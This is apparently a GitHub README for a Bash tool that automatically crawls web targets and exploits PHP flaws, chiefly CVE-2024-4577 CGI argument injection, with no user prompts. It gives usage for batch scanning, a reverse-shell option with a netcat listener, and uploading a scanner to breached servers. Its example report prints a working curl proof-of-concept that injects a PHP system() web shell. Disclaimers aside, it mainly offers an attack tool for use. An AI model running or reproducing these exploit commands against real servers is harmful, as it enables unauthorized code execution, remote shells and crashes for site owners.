🚀 PHP CVE Autopilot

Automated detection & exploitation of critical PHP vulnerabilities (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)

PHP8.1.x_Exploit.sh is a single‑file, zero‑configuration security assessment tool that automatically discovers vulnerable PHP endpoints and exploits four high‑impact CVEs affecting PHP versions before 8.1.34 (released December 2024). It requires no manual payload crafting – just provide a URL and the script does the rest, from crawling to remote code execution. Fully autopilot – detects and exploits automatically without user prompts.

Features

Fully autonomous autopilot – given a single URL, it crawls, fingerprints, tests, and exploits without user interaction.
Batch scanning – feed a list of targets and run in parallel.
Advanced crawling – extracts links and forms from the homepage for better discovery.
OS & PHP version fingerprinting – avoids Windows‑only attacks on Linux, checks PHP version.
CVE-2024-4577 bypass (Windows CGI argument injection)
- Detects and exploits vulnerable PHP-CGI endpoints.
- Optional reverse shell (PowerShell one‑liner).
- Two injection flavours: standard -d and soft‑hyphen %AD bypass.
CVE-2025-14177 – heap memory leak via getimagesize()
- Dynamically creates a malformed JPEG and automatically submits it to any discovered upload endpoint.
- Detects leaked memory in responses.
Deep local scan via RCE (when CVE-2024-4577 is exploited)
- Uploads a lightweight PHP scanner that tests for:
  - CVE-2025-14180 – NULL pointer dereference in PDO PostgreSQL.
  - CVE-2025-14178 – integer overflow in array_merge.
Smart crawling – extracts links and forms to discover CGI scripts and upload pages.
Parallel execution – uses parallel if available, falls back gracefully.
Verbose & debug modes – see every HTTP request and decision.
Report generation – save all findings to a text file.
Clean & safe – temp files destroyed on exit, timeouts prevent hanging.

Requirements

No root privileges required – the tool only sends HTTP requests and optionally executes a reverse shell (requires listener on your machine).

Installation

git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh

Usage

Single target (most common)

./PHP8.1.x_Exploit.sh -u http://target.example.com

Single target with reverse shell (CVE-2024-4577)

./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444

Then on your machine:

nc -lvnp 4444

Batch scan multiple targets

./PHP8.1.x_Exploit.sh -l targets.txt --threads 10

Example targets.txt:

http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com

Scan‑only mode (no exploitation attempts)

./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only

Save report to file

./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt

Verbose / debug output

./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug   # very noisy

How it works (phases)

Command line options (full reference)

CVEs covered in detail

Note: CVE‑2025‑14180 and CVE‑2025‑14178 can only be accurately detected from inside the server (local tests). The script achieves this by uploading a scanner after a successful CGI exploit.

📸 Example output

[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)

===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================

⚠️ Important warnings & disclaimer

Autopilot mode – The tool automatically exploits vulnerabilities without prompts. Use only on authorized targets.
Legal use only – This tool is intended for authorized security assessments, penetration testing, and educational purposes. Using it against systems without permission is illegal in most jurisdictions.
No warranty – The software is provided "AS IS" without warranties of any kind.
Potential for damage – Exploits can crash services (CVE-2025-14180) or corrupt memory (CVE-2025-14178). Do not run on production systems without explicit consent.
Reverse shell – The --revshell option opens a socket from the target to your machine. Ensure you have the right to connect back.
Logging – Your requests will appear in the target's access/error logs. Use responsibly.

🛠️ Troubleshooting

🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome. Please follow:

Keep the script single‑file and pure Bash.
Test with both parallel and without.
Update this README accordingly.

📜 License

GNU General Public License v3.0 – see LICENSE file.

📚 References

Made with 🧠 for the security community. Use ethically.

`bash` 4.0+	Script interpreter	Yes (Linux/macOS)
`curl`	HTTP requests	Yes
`grep`, `sed`, `awk`	Text processing	Yes
`mktemp`	Temp file creation	Yes
(optional) `parallel`	Faster batch scanning	No (but recommended)
(optional) `jq`	JSON output formatting	No

1	Fingerprinting – OS and PHP version from headers and probes.
2	Crawling – extracts `href` and `action` attributes from the homepage.
3	CGI discovery – tries common paths and crawled links that look like CGI.
4	CVE‑2024‑4577 testing – injects both `-d` and `%AD` payloads; if successful, executes commands or sends reverse shell.
5	Upload endpoint discovery – checks common upload paths and any forms containing "upload"/"image".
6	CVE‑2025‑14177 testing – crafts a malformed JPEG, POSTs it to each upload endpoint, detects heap leaks.
7	Deep internal scan – if RCE is achieved, uploads a scanner PHP script and runs it to test CVE‑2025‑14180 / CVE‑2025‑14178.
8	Reporting – prints a summary and optionally writes to a file.

`-u URL`	Single target URL (e.g. `http://example.com/`)
`-l FILE`	Batch file with one URL per line
`--scan-only`	Detect only – do not exploit (no reverse shell, no payload uploads)
`-o FILE`	Write final report to `FILE`
`--threads N`	Number of parallel threads for batch scanning (default: 5)
`--timeout N`	HTTP timeout in seconds (default: 10)
`--no-color`	Disable coloured output
`--verbose`	Show detailed progress
`--debug`	Show every HTTP request (may expose sensitive data)
`--revshell IP PORT`	Attempt reverse shell when CVE‑2024‑4577 is found
`-h, --help`	Display help and exit

CVE‑2024‑4577 (bypass)	Critical	RCE	Windows CGI argument injection (soft hyphen mapping)	PHP 8.1.34
CVE‑2025‑14177	Medium/High	Info leak (heap memory)	Malformed JPEG passed to `getimagesize()`	PHP 8.1.34
CVE‑2025‑14180	High	DoS (NULL dereference)	PDO PostgreSQL with emulated prepares + malformed param `\x99`	PHP 8.1.34
CVE‑2025‑14178	High (8.2)	DoS / potential memory corruption	`array_merge()` with huge arrays causing integer overflow	PHP 8.1.34

`curl: command not found`	Install `curl`
`GNU parallel not found`	Ignored – script works without it (slower batch scans)
No CGI endpoints found	The target may not use CGI, or it's behind a WAF that blocks `-d` flags
CVE-2024-4577 works but reverse shell fails	Check firewall; try a simpler payload with `--scan-only` and manual `nc` listener
Image leak test always returns "No leak"	The upload endpoint may not use `getimagesize()`, or it scrubs binary data
Local scanner upload fails	The web root might not be writable; the script attempts to write in the same directory as the CGI script

Most Popular

PHP_8.1.x_Exploit